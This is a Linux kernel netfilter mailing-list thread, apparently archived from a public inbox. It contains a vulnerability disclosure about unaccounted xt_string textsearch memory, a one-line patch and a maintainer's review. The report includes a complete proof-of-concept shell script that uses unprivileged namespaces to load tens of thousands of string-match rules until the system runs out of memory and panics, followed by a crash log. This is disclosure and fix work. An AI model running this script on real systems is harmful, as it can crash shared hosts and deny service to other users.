* [PATCH nf 0/1] netfilter: xt_string: account textsearch configs
@ 2026-08-17 12:44 Zhiling
2026-08-17 12:44 ` [PATCH nf 1/1] " Zhiling
0 siblings, 1 reply; 3+ messages in thread
From: Zhiling @ 2026-08-17 12:44 UTC (permalink / raw)
To: netfilter-devel
Cc: pablo, fw, phil, davem, edumazet, pabeni, horms, kaber, vega,
zhilinz
From: Zhiling Zou <zhilinz@nebusec.ai>
Hi Linux kernel maintainers,
We found and validated an issue in net/netfilter/xt_string.c. The bug is
reachable by a non-root user through a new user and network namespace
with CAP_NET_ADMIN in that namespace.
We will provide detailed information about the bug in this email, along
with a PoC to trigger it.
---- details below ----
Bug details:
string_mt_check() creates a textsearch configuration for each installed
xt_string rule with GFP_KERNEL. textsearch_prepare() forwards this mask
to the selected algorithm, so the configuration and its private tables
are not charged to the installing memory cgroup.
The xtables table blob is allocated with GFP_KERNEL_ACCOUNT, but a
Boyer-Moore textsearch configuration is not. A caller can therefore
retain a large number of rules through legacy iptables while keeping the
associated textsearch memory outside its memory-cgroup limit. The
supplied reproducer creates user and network namespaces and bulk-loads
Boyer-Moore string matches until the guest reaches system-wide OOM.
Use GFP_KERNEL_ACCOUNT for textsearch_prepare() so the configuration is
charged with the rest of the rule state.
Reproducer:
sh poc.sh
------BEGIN poc.sh------
#!/bin/sh
set -eu
MODE=${MODE:-oom}
RULES=${RULES:-50000}
COUNT=${COUNT:-12}
SPAWN_DELAY=${SPAWN_DELAY:-25}
SLEEP_SECS=${SLEEP_SECS:-600}
MEMORY_MAX=${MEMORY_MAX:-128M}
DEMO_RULES=${DEMO_RULES:-30000}
DEMO_WAIT=${DEMO_WAIT:-20}
IPT_RESTORE=/usr/sbin/iptables-legacy-restore
PYTHON=/usr/bin/python3
if [ ! -x "$IPT_RESTORE" ]; then
echo "missing $IPT_RESTORE" >&2
exit 1
fi
if [ ! -x "$PYTHON" ]; then
echo "missing $PYTHON" >&2
exit 1
fi
PATTERN=$("$PYTHON" - <<'PY'
print("A" * 128)
PY
)
WORKER=/tmp/xt_string_worker.$$.sh
RUNNER=/tmp/xt_string_runner.$$.sh
cleanup() {
rm -f "$WORKER" "$RUNNER"
}
trap cleanup EXIT INT TERM
cat >"$WORKER" <<EOF
#!/bin/sh
set -eu
RULES=\${1:?missing rules}
SLEEP_SECS=\${2:-600}
LOCK=/tmp/xtables.\$\$
export XTABLES_LOCKFILE="\$LOCK"
PATTERN='$PATTERN'
"$PYTHON" - "\$RULES" "\$PATTERN" <<'PY' | "$IPT_RESTORE"
import sys
rule_count = int(sys.argv[1])
pattern = sys.argv[2]
print("*filter")
print(":INPUT ACCEPT [0:0]")
print(":FORWARD ACCEPT [0:0]")
print(":OUTPUT ACCEPT [0:0]")
rule = f'-A INPUT -m string --algo bm --string "{pattern}" -j ACCEPT'
for _ in range(rule_count):
print(rule)
print("COMMIT")
PY
sleep "\$SLEEP_SECS"
EOF
chmod 755 "$WORKER"
print_meminfo() {
egrep 'MemAvailable|Slab|SUnreclaim' /proc/meminfo
}
spawn_one() {
index=$1
nohup unshare -Urn "$WORKER" "$RULES" "$SLEEP_SECS" >/tmp/xt_string_ns_"$index".log 2>&1 &
echo "$!"
}
case "$MODE" in
oom)
i=1
while [ "$i" -le "$COUNT" ]; do
pid=$(spawn_one "$i")
echo "spawned namespace $i pid $pid"
sleep "$SPAWN_DELAY"
print_meminfo
i=$((i + 1))
done
echo "all namespaces spawned; if panic_on_oom is enabled, the guest should panic once memory is exhausted"
while :; do
sleep 60
done
;;
memcg-demo)
if [ "$(id -u)" -ne 0 ]; then
echo "MODE=memcg-demo requires root" >&2
exit 1
fi
CG=/sys/fs/cgroup/xtleak_demo
mkdir -p "$CG"
echo "$MEMORY_MAX" >"$CG/memory.max"
echo max >"$CG/memory.swap.max"
cat >"$RUNNER" <<'EOF'
#!/bin/sh
set -eu
CG=$1
shift
echo $$ >"$CG/cgroup.procs"
exec "$@"
EOF
chmod 755 "$RUNNER"
print_meminfo
nohup "$RUNNER" "$CG" unshare -n "$WORKER" "$DEMO_RULES" "$SLEEP_SECS" >/tmp/xt_string_memcg.log 2>&1 &
pid=$!
sleep "$DEMO_WAIT"
print_meminfo
echo -n "memory.current="
cat "$CG/memory.current"
echo -n "memory.events="
tr '\n' ' ' <"$CG/memory.events"
echo
echo "demo pid: $pid"
;;
*)
echo "unknown MODE=$MODE" >&2
exit 1
;;
esac
------END poc.sh--------
----BEGIN crash log----
[ 1416.599400][ T2253] Kernel panic - not syncing: Out of memory: system-wide panic_on_oom is enabled
[ 1416.600091][ T2253] CPU: 3 UID: 1028 PID: 2253 Comm: iptables-legacy Tainted: G L 6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6
[ 1416.600959][ T2253] Tainted: [L]=SOFTLOCKUP
[ 1416.601240][ T2253] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1416.602031][ T2253] Call Trace:
[ 1416.602249][ T2253] <TASK>
[ 1416.602443][ T2253] panic+0x544/0x620
[ 1416.602720][ T2253] ? __pfx_panic+0x10/0x10
[ 1416.603013][ T2253] ? __pfx_lock_release+0x10/0x10
[ 1416.603361][ T2253] out_of_memory+0x75d/0x1360
[ 1416.603678][ T2253] ? __alloc_pages_slowpath.constprop.0+0xa0f/0x2800
[ 1416.604112][ T2253] ? __pfx_out_of_memory+0x10/0x10
[ 1416.604439][ T2253] ? __pfx_mutex_trylock+0x10/0x10
[ 1416.604790][ T2253] __alloc_pages_slowpath.constprop.0+0x1eb8/0x2800
[ 1416.605239][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.605610][ T2253] ? __pfx___alloc_pages_slowpath.constprop.0+0x10/0x10
[ 1416.606060][ T2253] ? local_clock_noinstr+0x15/0xd0
[ 1416.606394][ T2253] ? lock_release+0x687/0xc90
[ 1416.606704][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.607084][ T2253] ? __pfx___might_resched+0x10/0x10
[ 1416.607440][ T2253] __alloc_pages_noprof+0x54b/0x760
[ 1416.607788][ T2253] ? __pfx___alloc_pages_noprof+0x10/0x10
[ 1416.608160][ T2253] ? __pfx_stack_trace_save+0x10/0x10
[ 1416.608523][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.608902][ T2253] alloc_pages_mpol_noprof+0x1b1/0x430
[ 1416.609257][ T2253] ? find_check_entry.isra.0+0x2c6/0x9c0
[ 1416.609623][ T2253] ? __pfx_alloc_pages_mpol_noprof+0x10/0x10
[ 1416.610018][ T2253] ? do_sock_setsockopt+0x1e6/0x3f0
[ 1416.610359][ T2253] ? __sys_setsockopt+0xe2/0x140
[ 1416.610677][ T2253] ? __x64_sys_setsockopt+0xbd/0x160
[ 1416.611027][ T2253] ? do_syscall_64+0x6f/0x150
[ 1416.611331][ T2253] ? entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 1416.611740][ T2253] allocate_slab+0x3ae/0x550
[ 1416.612051][ T2253] ___slab_alloc+0xdcb/0x1620
[ 1416.612354][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.612728][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.613093][ T2253] ? local_clock_noinstr+0x15/0xd0
[ 1416.613425][ T2253] ? bm_init+0x37/0x9c0
[ 1416.613705][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.614089][ T2253] ? __kmalloc_noprof+0x3e8/0x540
[ 1416.614417][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.614790][ T2253] __kmalloc_noprof+0x3e8/0x540
[ 1416.615106][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.615467][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.615843][ T2253] ? bm_init+0x37/0x9c0
[ 1416.616124][ T2253] ? bm_init+0x37/0x9c0
[ 1416.616396][ T2253] bm_init+0x37/0x9c0
[ 1416.616661][ T2253] ? lock_acquire+0x153/0x2f0
[ 1416.616970][ T2253] ? textsearch_prepare+0x4d/0x3a0
[ 1416.617311][ T2253] textsearch_prepare+0x15d/0x3a0
[ 1416.617654][ T2253] string_mt_check+0x15d/0x1f0
[ 1416.617971][ T2253] ? __mutex_unlock_slowpath+0x163/0x630
[ 1416.618335][ T2253] xt_check_match+0x23c/0xb30
[ 1416.618648][ T2253] ? __pfx_xt_check_match+0x10/0x10
[ 1416.618999][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.619512][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.619975][ T2253] ? pcpu_alloc_noprof+0x6e3/0xc80
[ 1416.620424][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.620865][ T2253] ? xt_find_match+0x150/0x1f0
[ 1416.621247][ T2253] find_check_entry.isra.0+0x2c6/0x9c0
[ 1416.621633][ T2253] ? __pfx_find_check_entry.isra.0+0x10/0x10
[ 1416.622116][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.622497][ T2253] ? trace_hardirqs_on+0x5b/0x110
[ 1416.622844][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.623223][ T2253] ? kfree+0x143/0x4a0
[ 1416.623506][ T2253] ? translate_table+0xb00/0x1af0
[ 1416.623851][ T2253] translate_table+0xbd3/0x1af0
[ 1416.624190][ T2253] ? __pfx_translate_table+0x10/0x10
[ 1416.624545][ T2253] ? _copy_from_user+0x4e/0xa0
[ 1416.624872][ T2253] do_ipt_set_ctl+0x3ea/0x9c0
[ 1416.625191][ T2253] ? __pfx_do_ipt_set_ctl+0x10/0x10
[ 1416.625524][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.625889][ T2253] ? __mutex_unlock_slowpath+0x163/0x630
[ 1416.626248][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.626611][ T2253] ? __pfx___mutex_unlock_slowpath+0x10/0x10
[ 1416.627022][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.627392][ T2253] nf_setsockopt+0x76/0xe0
[ 1416.627689][ T2253] do_sock_setsockopt+0x1e6/0x3f0
[ 1416.628022][ T2253] ? __pfx_do_sock_setsockopt+0x10/0x10
[ 1416.628385][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.628748][ T2253] ? find_held_lock+0x34/0x120
[ 1416.629058][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.629430][ T2253] ? local_clock_noinstr+0x15/0xd0
[ 1416.629770][ T2253] ? lock_release+0x687/0xc90
[ 1416.630083][ T2253] ? __pfx_lock_release+0x10/0x10
[ 1416.630417][ T2253] ? __pfx_lock_release+0x10/0x10
[ 1416.630764][ T2253] __sys_setsockopt+0xe2/0x140
[ 1416.631091][ T2253] __x64_sys_setsockopt+0xbd/0x160
[ 1416.631424][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.631788][ T2253] ? trace_hardirqs_on+0x5b/0x110
[ 1416.632116][ T2253] do_syscall_64+0x6f/0x150
[ 1416.632415][ T2253] entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 1416.632813][ T2253] RIP: 0033:0x7882ac8872ba
[ 1416.633100][ T2253] Code: 48 83 ec 10 48 63 c9 48 63 ff 45 89 c9 6a 2c e8 fc d3 f7 ff 48 83 c4 18 c3 0f 1f 80 00 00 00 00 49 89 ca b8 36 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 06 c3 0f 1f 44 00 00 48 8b 15 21 2b 0d 00 f7
[ 1416.634327][ T2253] RSP: 002b:00007ffcfcf9e448 EFLAGS: 00000246 ORIG_RAX: 0000000000000036
[ 1416.634866][ T2253] RAX: ffffffffffffffda RBX: 00007882ab70b070 RCX: 00007882ac8872ba
[ 1416.635373][ T2253] RDX: 0000000000000040 RSI: 0000000000000000 RDI: 0000000000000004
[ 1416.635887][ T2253] RBP: 00007882ab70b010 R08: 0000000001067658 R09: 0000570b6297a2b0
[ 1416.636391][ T2253] R10: 00007882ab70b010 R11: 0000000000000246 R12: 00007882ab647010
[ 1416.636900][ T2253] R13: 0000570b6297a2b8 R14: 0000570b6297a870 R15: 0000570b6297a870
[ 1416.637421][ T2253] </TASK>
[ 1416.637920][ T2253] Kernel Offset: disabled
[ 1416.638206][ T2253] Rebooting in 10 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
netfilter: xt_string: account textsearch configs
net/netfilter/xt_string.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--
2.43.0
^ permalink raw reply [flat|nested] 3+ messages in thread* [PATCH nf 1/1] netfilter: xt_string: account textsearch configs 2026-08-17 12:44 [PATCH nf 0/1] netfilter: xt_string: account textsearch configs Zhiling @ 2026-08-17 12:44 ` Zhiling 2026-08-17 15:48 ` Pablo Neira Ayuso 0 siblings, 1 reply; 3+ messages in thread From: Zhiling @ 2026-08-17 12:44 UTC (permalink / raw) To: netfilter-devel Cc: pablo, fw, phil, davem, edumazet, pabeni, horms, kaber, vega, zhilinz From: Zhiling Zou <zhilinz@nebusec.ai> string_mt_check() creates a textsearch configuration for every string match with GFP_KERNEL. Algorithm-private data, including Boyer-Moore tables, remains allocated for as long as the rule is installed. The xtables table blob is memcg accounted, but the textsearch configuration is not. A user with CAP_NET_ADMIN in a user and network namespace can therefore retain kernel memory outside its memory limit by installing many string matches. Use GFP_KERNEL_ACCOUNT for the textsearch configuration so it is charged with the rest of the rule state. Fixes: 7567662ba896 ("[NETFILTER]: Add string match") Cc: stable@vger.kernel.org Reported-by: Vega <vega@nebusec.ai> Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai> --- net/netfilter/xt_string.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/net/netfilter/xt_string.c b/net/netfilter/xt_string.c index 8ce25bc9b2775..52c1deb02cdc6 100644 --- a/net/netfilter/xt_string.c +++ b/net/netfilter/xt_string.c @@ -54,7 +54,7 @@ static int string_mt_check(const struct xt_mtchk_param *par) if (conf->u.v1.flags & XT_STRING_FLAG_IGNORECASE) flags |= TS_IGNORECASE; ts_conf = textsearch_prepare(conf->algo, conf->pattern, conf->patlen, - GFP_KERNEL, flags); + GFP_KERNEL_ACCOUNT, flags); if (IS_ERR(ts_conf)) return PTR_ERR(ts_conf); -- 2.43.0 ^ permalink raw reply related [flat|nested] 3+ messages in thread
* Re: [PATCH nf 1/1] netfilter: xt_string: account textsearch configs 2026-08-17 12:44 ` [PATCH nf 1/1] " Zhiling @ 2026-08-17 15:48 ` Pablo Neira Ayuso 0 siblings, 0 replies; 3+ messages in thread From: Pablo Neira Ayuso @ 2026-08-17 15:48 UTC (permalink / raw) To: ZhilingZouzhilinz Cc: netfilter-devel, fw, phil, davem, edumazet, pabeni, horms, kaber, vega, zhilinz On Mon, Aug 17, 2026 at 08:44:55PM +0800, ZhilingZouzhilinz@nebusec.ai wrote: > From: Zhiling Zou <zhilinz@nebusec.ai> > > string_mt_check() creates a textsearch configuration for every string > match with GFP_KERNEL. Algorithm-private data, including Boyer-Moore > tables, Why the reference to Boyer-Moore? It looks a bit gratuitous? :-) How does it relate to this issue at all? Knuth-Pratt-Morris implementation also performs an internal memory allocation from ->init() path. > [...] remains allocated for as long as the rule is installed. > > The xtables table blob is memcg accounted, but the textsearch > configuration is not. A user with CAP_NET_ADMIN in a user and network > namespace can therefore retain kernel memory outside its memory limit > by installing many string matches. This is news to me that you consider this a security issue... but fair enough. We have taken many patches like this for net-next in the past. We have more paths that could use GFP_KERNEL_ACCOUNT in x_tables, but some of them need careful look because they might break existing setups. net/netfilter/x_tables.c: table = kmemdup(input_table, sizeof(struct xt_table), GFP_KERNEL); net/netfilter/xt_CT.c: ct = nf_ct_tmpl_alloc(par->net, &zone, GFP_KERNEL); net/netfilter/xt_IDLETIMER.c: info->timer->attr.attr.name = kstrdup(info->label, GFP_KERNEL); net/netfilter/xt_IDLETIMER.c: info->timer->attr.attr.name = kstrdup(info->label, GFP_KERNEL); net/netfilter/xt_LED.c: ledinternal->trigger_id = kstrdup(ledinfo->id, GFP_KERNEL); net/netfilter/xt_dccp.c: dccp_optbuf = kmalloc(256 * 4, GFP_KERNEL); net/netfilter/xt_hashlimit.c: hinfo->name = kstrdup(name, GFP_KERNEL); net/netfilter/xt_repldata.h: tbl = kzalloc(term_offset + sizeof(*term), GFP_KERNEL); I can post a patch to address this, no need for you to post it. > Use GFP_KERNEL_ACCOUNT for the textsearch configuration so it is > charged with the rest of the rule state. textsearch_prepare also in net/sched/em_text.c uses GFP_KERNEL, maybe you want to "fix" all textsearch_prepare() prepare callers? Maybe you can just remove the allocation flag for textsearch_prepare() and use GFP_KERNEL_ACCOUNT inconditionally. > Fixes: 7567662ba896 ("[NETFILTER]: Add string match") GFP_KERNEL_ACCOUNT came later than lib/textsearch.c, so this was never converted to use it. This Fixes: tag cannot be right. > Cc: stable@vger.kernel.org > Reported-by: Vega <vega@nebusec.ai> > Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai> > --- > net/netfilter/xt_string.c | 2 +- > 1 file changed, 1 insertion(+), 1 deletion(-) > > diff --git a/net/netfilter/xt_string.c b/net/netfilter/xt_string.c > index 8ce25bc9b2775..52c1deb02cdc6 100644 > --- a/net/netfilter/xt_string.c > +++ b/net/netfilter/xt_string.c > @@ -54,7 +54,7 @@ static int string_mt_check(const struct xt_mtchk_param *par) > if (conf->u.v1.flags & XT_STRING_FLAG_IGNORECASE) > flags |= TS_IGNORECASE; > ts_conf = textsearch_prepare(conf->algo, conf->pattern, conf->patlen, > - GFP_KERNEL, flags); > + GFP_KERNEL_ACCOUNT, flags); > if (IS_ERR(ts_conf)) > return PTR_ERR(ts_conf); > > -- > 2.43.0 > ^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-08-17 15:48 UTC | newest] Thread overview: 3+ messages (download: mbox.gz follow: Atom feed -- links below jump to the message on this page -- 2026-08-17 12:44 [PATCH nf 0/1] netfilter: xt_string: account textsearch configs Zhiling 2026-08-17 12:44 ` [PATCH nf 1/1] " Zhiling 2026-08-17 15:48 ` Pablo Neira Ayuso
This is an external index of several public inboxes, see mirroring instructions on how to clone and mirror all data and code used by this external index.